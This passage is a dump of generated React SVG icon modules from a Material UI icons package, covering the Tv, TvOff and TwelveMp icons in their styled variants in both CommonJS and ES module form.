    "path": "packages/mui-icons-material/lib/Tv.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'Tv');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 3.54 1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l2 2 1.26-1.27L2.27 2.27zM3 19V7h1.46l12 12zM21 5h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H7.52l2 2H21v11.48l1.65 1.65c.22-.32.35-.71.35-1.13V7c0-1.11-.89-2-2-2\"\n}), 'TvOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 3.54 1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l2 2 1.26-1.27L2.27 2.27zM3 19V7h1.46l12 12zM21 5h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H7.52l2 2H21v11.48l1.65 1.65c.22-.32.35-.71.35-1.13V7c0-1.11-.89-2-2-2\"\n}), 'TvOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7v10.88l1.85 1.85c.09-.23.15-.47.15-.73V7c0-1.11-.89-2-2-2h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zm-.54 16 1.26-1.27-1.26 1.26zM2.41 2.13l-.14.14L1 3.54l1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}), 'TvOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7v10.88l1.85 1.85c.09-.23.15-.47.15-.73V7c0-1.11-.89-2-2-2h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zm-.54 16 1.26-1.27-1.26 1.26zM2.41 2.13l-.14.14L1 3.54l1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}), 'TvOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8v9.88l1.85 1.85c.1-.22.15-.47.15-.73V7c0-1.11-.9-2-2-2h-7.59l2.94-2.94c.2-.2.2-.51 0-.71s-.51-.2-.71 0L12 4.99 8.36 1.35c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L10.59 5H8.12l2 2H20c.55 0 1 .45 1 1M3.12 2.83a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.82.82C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.29 1.29c.39.39 1.02.39 1.41 0 .36-.36.37-.92.07-1.31h.03zM3 18V8c0-.55.45-1 1-1h.46l12 12H4c-.55 0-1-.45-1-1\"\n}), 'TvOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8v9.88l1.85 1.85c.1-.22.15-.47.15-.73V7c0-1.11-.9-2-2-2h-7.59l2.94-2.94c.2-.2.2-.51 0-.71s-.51-.2-.71 0L12 4.99 8.36 1.35c-.2-.2-.51-.2-.71 0s-.2.51 0 .71L10.59 5H8.12l2 2H20c.55 0 1 .45 1 1M3.12 2.83a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.82.82C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.29 1.29c.39.39 1.02.39 1.41 0 .36-.36.37-.92.07-1.31h.03zM3 18V8c0-.55.45-1 1-1h.46l12 12H4c-.55 0-1-.45-1-1\"\n}), 'TvOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7v10.88l2 2V5h-9.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zM2.41 2.13l-.14.14L1 3.54l1.53 1.53H1V21h17.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}), 'TvOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7v10.88l2 2V5h-9.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zM2.41 2.13l-.14.14L1 3.54l1.53 1.53H1V21h17.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}), 'TvOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h13.46l-12-12H3zm7.12-12L21 17.88V7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7v10.88l1.85 1.85c.09-.23.15-.47.15-.73V7c0-1.11-.89-2-2-2h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zm-.54 16 1.26-1.27-1.26 1.26zM2.41 2.13l-.14.14L1 3.54l1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}, \"1\")], 'TvOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h13.46l-12-12H3zm7.12-12L21 17.88V7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7v10.88l1.85 1.85c.09-.23.15-.47.15-.73V7c0-1.11-.89-2-2-2h-7.58l3.29-3.3L16 1l-4 4-4-4-.7.7L10.58 5H8.12l2 2zm-.54 16 1.26-1.27-1.26 1.26zM2.41 2.13l-.14.14L1 3.54l1.53 1.53C1.65 5.28 1 6.06 1 7v12c0 1.1.9 2 2 2h15.46l1.99 1.99 1.26-1.26.15-.15zM3 19V7h1.46l12 12z\"\n}, \"1\")], 'TvOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'TvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}), 'TvOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'TvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v1c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-1h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m-1 14H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'TvRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18z\"\n}), 'TvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h6.99zm-2 14H3V5h18z\"\n}), 'TvSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'TvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TvTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5h18v12H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h5v2h8v-2h5c1.1 0 1.99-.9 1.99-2L23 5c0-1.1-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'TvTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zM15.5 9h-2v1h3v1.5H12V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m0 5H17v1.5h-1.5z\"\n}), 'TwelveMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zM15.5 9h-2v1h3v1.5H12V9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m0 5H17v1.5h-1.5z\"\n}), 'TwelveMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1.5h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H12V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwelveMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1.5h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H12V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"2\")], 'TwelveMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 6c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H12zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwelveMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 6c0-.55.45-1 1-1h2V7h-2.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.75c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H12zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'TwelveMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 5h3V7h-3V5.5h4.5V9h-3v1h3v1.5H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwelveMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 5h3V7h-3V5.5h4.5V9h-3v1h3v1.5H12zM7 5.5h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'TwelveMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1.5h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H12V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwelveMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwelveMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1M12 9c0-.55.45-1 1-1h2V7h-3V5.5h3.5c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1h-2v1h3v1.5H12zM7 5.5h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm8-1.5h-3V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H12V7h3v1h-2c-.55 0-1 .45-1 1v2.5h4.5z\"\n}, \"4\")], 'TwelveMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyFourMp.js",
